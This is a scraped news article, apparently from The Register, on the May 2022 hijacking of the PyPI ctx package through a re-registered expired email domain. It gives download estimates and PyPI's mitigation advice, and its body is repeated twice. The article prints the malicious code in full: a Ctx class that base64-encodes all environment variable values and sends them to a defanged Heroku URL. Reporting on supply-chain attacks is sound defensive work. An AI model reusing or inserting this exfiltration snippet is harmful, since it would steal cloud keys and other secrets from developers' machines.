If you're using the ctx Python package, bad news: Vandal added info-stealing code
(2022/05/25)
- Reference: 1653434168
- News link: https://www.theregister.co.uk/2022/05/24/pypi_ctx_package_compromised/
- Source link:
The Python Package Index (PyPI), a repository for Python software libraries, has advised Python developers that the ctx package has been compromised.
Any installation of the software in the past ten days should be investigated to determine whether sensitive account identifiers stored in environment variables, such as cloud access keys, have been stolen.
The PyPI administrators estimate that about 27,000 malicious copies of ctx were downloaded from the registry since the rogue versions of ctx first appeared, starting around 19:18 UTC on May 14, 2022.
[1]
They add that a safe version of ctx ( [2]1.2 ) is a dependency of one other package, context engine. But more recent malicious versions of ctx don't appear as dependencies in any other packages analyzed by Library.io .
[3]
[4]
"The ctx hosted project on PyPI was taken over via user account compromise and replaced with a malicious project which contained runtime code which collected the content of os.environ.items() when instantiating Ctx objects," the PyPI administrators explain in [5]a security advisory published on Tuesday. "The captured environment variables were sent as a base64 encoded query parameter to a Heroku application running at h[xx]ps://anti-theft-web.herokuapp.com ."
That URL is not currently configured to respond to web requests via HTTP – presumably the app has been disabled or removed.
About half of Python libraries in PyPI may have security issues, boffins say [6]READ MORE
In a [7]blog post on Tuesday, Internet Storm Center handler Yee Ching Tok observes that another (no longer accessible) project on GitHub – github.com/hautelook/phpass – contained the same malicious Heroku domain within its PHP code.
The ctx package, now removed from PyPI, is a Python library for accessing Python dictionaries using dot notation. It remained unchanged over the past eight years (as it remains [8]on GitHub ) until May 14, 2022. That's when the expired email domain ( figlief.com ) administering the PyPI account was re-registered and taken over by an unknown attacker, a supply-chain attack strategy we've recently [9]written [10]about in the context of JavaScript registry NPM.
[11]
A [12]Reddit post from three days ago that announced the arrival of the new version of ctx may be from an individual involved in the package subversion. At least that's the speculation of those responding to the now deleted initial post. The Register has emailed the individual in question – whose GitHub account includes security and hacking tools – to ask about this but we've not heard back.
The exfiltration code is unsophisticated, which could indicate that the attack is more exploratory than ill-intentioned. It iterates through the environmental variables stored on the victim's machine, encodes them as base64, and appends them to a Heroku app URL as query parameters. class Ctx(dict):
def __init__(self):
self.sendRequest()
def sendRequest(self):
string = ""
for _, value in os.environ.items():
string += value+" "
message_bytes = string.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')
response = requests.get("hxxps://anti-theft-web.herokuapp.com/hacked/"+base64_message)
A [13]post on Monday by a different Reddit user appears to be among the first to raise the alarm.
Those overseeing PyPI say domain takeovers represent a known attack vector and that PyPI's defense against this involves disabling "verified" email status – required to process a password update – if a PyPI email to the account bounces. But triggering de-verification requires PyPI to send an email inquiry to the expired domain between the time of expiration and the domain takeover. And that doesn't appear to have happened.
The Pythonistas note that they could perform this sort of analysis on an ongoing basis and freeze accounts associated with expired or nearly expired domains, but that this would be "at the cost of increased support burden on the team of PyPI moderators and admins."
[14]
The PyPI admins recommend enabling multi-factor authentication for PyPI accounts and using version-pinning and [15]hash-checking mode for greater security. ®
Get our [16]Tech Resources
[1] https://pubads.g.doubleclick.net/gampad/jump?co=1&iu=/6978/reg_software/devops&sz=300x50%7C300x100%7C300x250%7C300x251%7C300x252%7C300x600%7C300x601&tile=2&c=2Yo2p4SSn3WubkIkuGvlY2gAAAEA&t=ct%3Dns%26unitnum%3D2%26raptor%3Dcondor%26pos%3Dtop%26test%3D0
[2] https://deps.dev/pypi/ctx/0.1.2/dependents
[3] https://pubads.g.doubleclick.net/gampad/jump?co=1&iu=/6978/reg_software/devops&sz=300x50%7C300x100%7C300x250%7C300x251%7C300x252%7C300x600%7C300x601&tile=4&c=44Yo2p4SSn3WubkIkuGvlY2gAAAEA&t=ct%3Dns%26unitnum%3D4%26raptor%3Dfalcon%26pos%3Dmid%26test%3D0
[4] https://pubads.g.doubleclick.net/gampad/jump?co=1&iu=/6978/reg_software/devops&sz=300x50%7C300x100%7C300x250%7C300x251%7C300x252%7C300x600%7C300x601&tile=3&c=33Yo2p4SSn3WubkIkuGvlY2gAAAEA&t=ct%3Dns%26unitnum%3D3%26raptor%3Deagle%26pos%3Dmid%26test%3D0
[5] https://python-security.readthedocs.io/pypi-vuln/index-2022-05-24-ctx-domain-takeover.html
[6] https://www.theregister.com/2021/07/28/python_pypi_security/
[7] https://isc.sans.edu/forums/diary/ctx+Python+Library+Updated+with+Extra+Features/28678/
[8] https://github.com/figlief/ctx
[9] https://www.theregister.com/2022/05/10/security_npm_email/
[10] https://www.theregister.com/2022/05/23/npm_dependencies_vulnerable/
[11] https://pubads.g.doubleclick.net/gampad/jump?co=1&iu=/6978/reg_software/devops&sz=300x50%7C300x100%7C300x250%7C300x251%7C300x252%7C300x600%7C300x601&tile=4&c=44Yo2p4SSn3WubkIkuGvlY2gAAAEA&t=ct%3Dns%26unitnum%3D4%26raptor%3Dfalcon%26pos%3Dmid%26test%3D0
[12] https://www.reddit.com/r/Python/comments/uumqmm/ctx_new_version_released_after_7_years_750k/
[13] https://www.reddit.com/r/Python/comments/uwhzkj/i_think_the_ctx_package_on_pypi_has_been_hacked/
[14] https://pubads.g.doubleclick.net/gampad/jump?co=1&iu=/6978/reg_software/devops&sz=300x50%7C300x100%7C300x250%7C300x251%7C300x252%7C300x600%7C300x601&tile=3&c=33Yo2p4SSn3WubkIkuGvlY2gAAAEA&t=ct%3Dns%26unitnum%3D3%26raptor%3Deagle%26pos%3Dmid%26test%3D0
[15] https://pip.pypa.io/en/stable/topics/secure-installs/#hash-checking-mode
[16] https://whitepapers.theregister.com/
Any installation of the software in the past ten days should be investigated to determine whether sensitive account identifiers stored in environment variables, such as cloud access keys, have been stolen.
The PyPI administrators estimate that about 27,000 malicious copies of ctx were downloaded from the registry since the rogue versions of ctx first appeared, starting around 19:18 UTC on May 14, 2022.
[1]
They add that a safe version of ctx ( [2]1.2 ) is a dependency of one other package, context engine. But more recent malicious versions of ctx don't appear as dependencies in any other packages analyzed by Library.io .
[3]
[4]
"The ctx hosted project on PyPI was taken over via user account compromise and replaced with a malicious project which contained runtime code which collected the content of os.environ.items() when instantiating Ctx objects," the PyPI administrators explain in [5]a security advisory published on Tuesday. "The captured environment variables were sent as a base64 encoded query parameter to a Heroku application running at h[xx]ps://anti-theft-web.herokuapp.com ."
That URL is not currently configured to respond to web requests via HTTP – presumably the app has been disabled or removed.
About half of Python libraries in PyPI may have security issues, boffins say [6]READ MORE
In a [7]blog post on Tuesday, Internet Storm Center handler Yee Ching Tok observes that another (no longer accessible) project on GitHub – github.com/hautelook/phpass – contained the same malicious Heroku domain within its PHP code.
The ctx package, now removed from PyPI, is a Python library for accessing Python dictionaries using dot notation. It remained unchanged over the past eight years (as it remains [8]on GitHub ) until May 14, 2022. That's when the expired email domain ( figlief.com ) administering the PyPI account was re-registered and taken over by an unknown attacker, a supply-chain attack strategy we've recently [9]written [10]about in the context of JavaScript registry NPM.
[11]
A [12]Reddit post from three days ago that announced the arrival of the new version of ctx may be from an individual involved in the package subversion. At least that's the speculation of those responding to the now deleted initial post. The Register has emailed the individual in question – whose GitHub account includes security and hacking tools – to ask about this but we've not heard back.
The exfiltration code is unsophisticated, which could indicate that the attack is more exploratory than ill-intentioned. It iterates through the environmental variables stored on the victim's machine, encodes them as base64, and appends them to a Heroku app URL as query parameters. class Ctx(dict):
def __init__(self):
self.sendRequest()
def sendRequest(self):
string = ""
for _, value in os.environ.items():
string += value+" "
message_bytes = string.encode('ascii')
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode('ascii')
response = requests.get("hxxps://anti-theft-web.herokuapp.com/hacked/"+base64_message)
A [13]post on Monday by a different Reddit user appears to be among the first to raise the alarm.
Those overseeing PyPI say domain takeovers represent a known attack vector and that PyPI's defense against this involves disabling "verified" email status – required to process a password update – if a PyPI email to the account bounces. But triggering de-verification requires PyPI to send an email inquiry to the expired domain between the time of expiration and the domain takeover. And that doesn't appear to have happened.
The Pythonistas note that they could perform this sort of analysis on an ongoing basis and freeze accounts associated with expired or nearly expired domains, but that this would be "at the cost of increased support burden on the team of PyPI moderators and admins."
[14]
The PyPI admins recommend enabling multi-factor authentication for PyPI accounts and using version-pinning and [15]hash-checking mode for greater security. ®
Get our [16]Tech Resources
[1] https://pubads.g.doubleclick.net/gampad/jump?co=1&iu=/6978/reg_software/devops&sz=300x50%7C300x100%7C300x250%7C300x251%7C300x252%7C300x600%7C300x601&tile=2&c=2Yo2p4SSn3WubkIkuGvlY2gAAAEA&t=ct%3Dns%26unitnum%3D2%26raptor%3Dcondor%26pos%3Dtop%26test%3D0
[2] https://deps.dev/pypi/ctx/0.1.2/dependents
[3] https://pubads.g.doubleclick.net/gampad/jump?co=1&iu=/6978/reg_software/devops&sz=300x50%7C300x100%7C300x250%7C300x251%7C300x252%7C300x600%7C300x601&tile=4&c=44Yo2p4SSn3WubkIkuGvlY2gAAAEA&t=ct%3Dns%26unitnum%3D4%26raptor%3Dfalcon%26pos%3Dmid%26test%3D0
[4] https://pubads.g.doubleclick.net/gampad/jump?co=1&iu=/6978/reg_software/devops&sz=300x50%7C300x100%7C300x250%7C300x251%7C300x252%7C300x600%7C300x601&tile=3&c=33Yo2p4SSn3WubkIkuGvlY2gAAAEA&t=ct%3Dns%26unitnum%3D3%26raptor%3Deagle%26pos%3Dmid%26test%3D0
[5] https://python-security.readthedocs.io/pypi-vuln/index-2022-05-24-ctx-domain-takeover.html
[6] https://www.theregister.com/2021/07/28/python_pypi_security/
[7] https://isc.sans.edu/forums/diary/ctx+Python+Library+Updated+with+Extra+Features/28678/
[8] https://github.com/figlief/ctx
[9] https://www.theregister.com/2022/05/10/security_npm_email/
[10] https://www.theregister.com/2022/05/23/npm_dependencies_vulnerable/
[11] https://pubads.g.doubleclick.net/gampad/jump?co=1&iu=/6978/reg_software/devops&sz=300x50%7C300x100%7C300x250%7C300x251%7C300x252%7C300x600%7C300x601&tile=4&c=44Yo2p4SSn3WubkIkuGvlY2gAAAEA&t=ct%3Dns%26unitnum%3D4%26raptor%3Dfalcon%26pos%3Dmid%26test%3D0
[12] https://www.reddit.com/r/Python/comments/uumqmm/ctx_new_version_released_after_7_years_750k/
[13] https://www.reddit.com/r/Python/comments/uwhzkj/i_think_the_ctx_package_on_pypi_has_been_hacked/
[14] https://pubads.g.doubleclick.net/gampad/jump?co=1&iu=/6978/reg_software/devops&sz=300x50%7C300x100%7C300x250%7C300x251%7C300x252%7C300x600%7C300x601&tile=3&c=33Yo2p4SSn3WubkIkuGvlY2gAAAEA&t=ct%3Dns%26unitnum%3D3%26raptor%3Deagle%26pos%3Dmid%26test%3D0
[15] https://pip.pypa.io/en/stable/topics/secure-installs/#hash-checking-mode
[16] https://whitepapers.theregister.com/
Bitsminer
Do you use Python? Have you ever contributed money to the Python Foundation to support their efforts? Do you know how many paid employees they have available for "professional" support?
Put up or shut up.
This should not have been possible
PyPI should have instituted certificate-based hashing from the very beginning, but it's always been a very loose and marginally run collection of useful Python packages. Much like NPM and other open-source repos, professionalism and security never seemed to really seemed to be important, just uptime and speed to rollout, especially compared to the interpreter projects that are buttoned up tight. (Only one really does it right: Cargo/Crates.io is run by the Rust team itself, which is attached to Mozilla, and is locked down quite tight from the developer side. A simple password reset to a squatted domain isn't going to be possible.)